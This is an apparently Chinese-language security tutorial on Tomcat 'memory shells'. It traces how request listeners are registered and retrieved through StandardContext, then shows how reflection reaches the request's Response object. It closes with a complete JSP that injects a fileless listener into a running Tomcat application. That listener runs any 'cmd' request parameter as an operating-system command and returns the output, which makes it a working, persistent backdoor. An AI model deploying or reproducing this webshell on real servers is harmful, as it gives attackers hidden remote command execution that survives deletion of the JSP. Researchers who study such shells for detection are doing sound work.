环境搭建

配置好tomcat后,调试时笔者用的maven,然后下载对应源码就好了

<dependency>
  <groupId>org.apache.tomcat</groupId>
  <artifactId>tomcat-catalina</artifactId>
  <version>9.0.96</version>
</dependency>

0x01 Listener前置知识

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

用途

可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。

Listener 三个域对象

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest对 象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。

0x02 Listener流程分析

Servlet 规范中一共定义了 8 个 Listener 接口

http://c.biancheng.net/servlet2/listener.html

但因为内存马本身的特殊性, 一般选用 ServletRequestListener 接口

package com.example.learnservlet;

import javax.servlet.*;
import javax.servlet.annotation.*;

@WebListener
public class TestListener implements ServletRequestListener{

    public TestListener() {
    }


    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("test listener");
    }
}

image-20241031104712111

requestInitialized处断点,通过调用栈往会看,可以看到这里调用转化为ServletRequestListener的requestInitialized

image-20241031104641806

往前看,通过getApplicationEventListeners获取所有listener

image-20241031104931541

这里可以看到applicationEventListenersList存放着listener

image-20241031105054017

StandardContext#addApplicationEventListener可以添加listener

image-20241031105120691

其实这里思路就出来,通过jsp执行java代码找到StandardContext类调用addApplicationEventListener注入我们的恶意listener

两个困难

  • 怎么获得对应的StandardContext

这里我不太懂为什么可以这样得到

ServletContext servletContext = request.getServletContext();
or
ServletContext servletContext = request.getSession().getServletContext();
  • requestInitialized()方法得到的参数只有ServletRequestEvent,没有类似Response返回命令执行结果的值

当然这里没回显的话也可以不考虑,但是这里是能做到回显的(有师傅可能会说直接用jsp的Response不就行了么,想上面直接用jsp的request)

理解: 内存马,这里是jsp执行后肯定要删掉jsp,留下来的只有这个Listener,后面调用也只会调用requestInitialized()方法里代码,所以这里回显不能依赖jsp,只能靠传入的参数ServletRequestEvent调用,前面的request是用来找到ServletContext的写入Listener只需要调用一次,所以可以直接用jsp的request

Response和Request获取

下面我们来看怎么构造回显

image-20241031105704044

从下图我们可以得到ServletRequestEvent.request实例是RequestFacade,而RequestFacade.requestRequestRequest含有Response类的属性

ServletRequestEvent.request -> RequestFacade.request -> Request.Response

image-20241031111255330

image-20241031113252517

image-20241031113322175

这里我们通过反射可以得到Response

ServletRequest servletRequest = sre.getServletRequest();
Field request1 = servletRequest.getClass().getDeclaredField("request");
request1.setAccessible(true);
Request o = (Request)request1.get(servletRequest);
Field request2 = o.getClass().getDeclaredField("response");
Response response = (Response) request2.get(o);
  • 下面就是获取StandardContext
ServletContext servletContext = request.getServletContext();
or
ServletContext servletContext = request.getSession().getServletContext();

上面获取的实例是ApplicationContextFacade

image-20241031154732266

环境初始化的时候会对StandardContext进行封装,所以我们可以通过ApplicationContextFacade反射得到StandardContext实例

StandardContext.java#postWorkDirectory()
 StandardContext.java#getServletContext()
  StandardContext.java#context = new ApplicationContext(this);
  ApplicationContext#facade = new ApplicationContextFacade(this);
  ApplicationContextFacade#ApplicationContextFacade.context = (ApplicationContext)context
   ApplicationContext(StandardContext context){this.context = (StandardContext)context;}

0x03构造内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.security.auth.message.callback.SecretKeyCallback" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
        //反射得到StandardContext
        ApplicationContextFacade servletContext = (ApplicationContextFacade) request.getServletContext();
        Field con = servletContext.getClass().getDeclaredField("context");
        con.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) con.get(servletContext);
        Field context = applicationContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        StandardContext Standardcontext1 = (StandardContext) context.get(applicationContext);


    ServletRequestListener servletRequestListener = new ServletRequestListener() {
        void requestDestroyed() {
        }

        public void requestInitialized(ServletRequestEvent sre) {
            try {
                //反射得到Response
                ServletRequest servletRequest = sre.getServletRequest();
                Field request1 = servletRequest.getClass().getDeclaredField("request");
                request1.setAccessible(true);
                Request o = (Request)request1.get(servletRequest);
                Field request2 = o.getClass().getDeclaredField("response");
                request2.setAccessible(true);
                Response response = (Response) request2.get(o);

                String cmd = o.getParameter("cmd");
                Process exec = Runtime.getRuntime().exec(cmd);
                InputStream inputStream = exec.getInputStream();
                BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
                // 设置响应头,确保客户端能正确接收文本数据
                response.setContentType("text/plain");
                response.setCharacterEncoding("UTF-8");
                // 获取输出流,用于向客户端发送数据
                PrintWriter writer = response.getWriter();
                String line;
                while ((line = reader.readLine())!= null) {
                    writer.write(line + "\n");
                }
                // 关闭相关资源
                reader.close();
                inputStream.close();
                writer.close();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
    };
    //插入Listener
    Standardcontext1.addApplicationEventListener(servletRequestListener);
    out.println("oooooooooooooooh yeah");
%>

参考链接

https://w0s1np.github.io/blog/tomcat_listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90.html/#0x04-%E7%BC%96%E5%86%99%E5%86%85%E5%AD%98%E9%A9%AC

https://exp10it.io/2022/11/tomcat-listener-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC%E5%88%86%E6%9E%90/#%E8%8E%B7%E5%8F%96-request-%E5%92%8C-response

Tomcat 架构与Context分析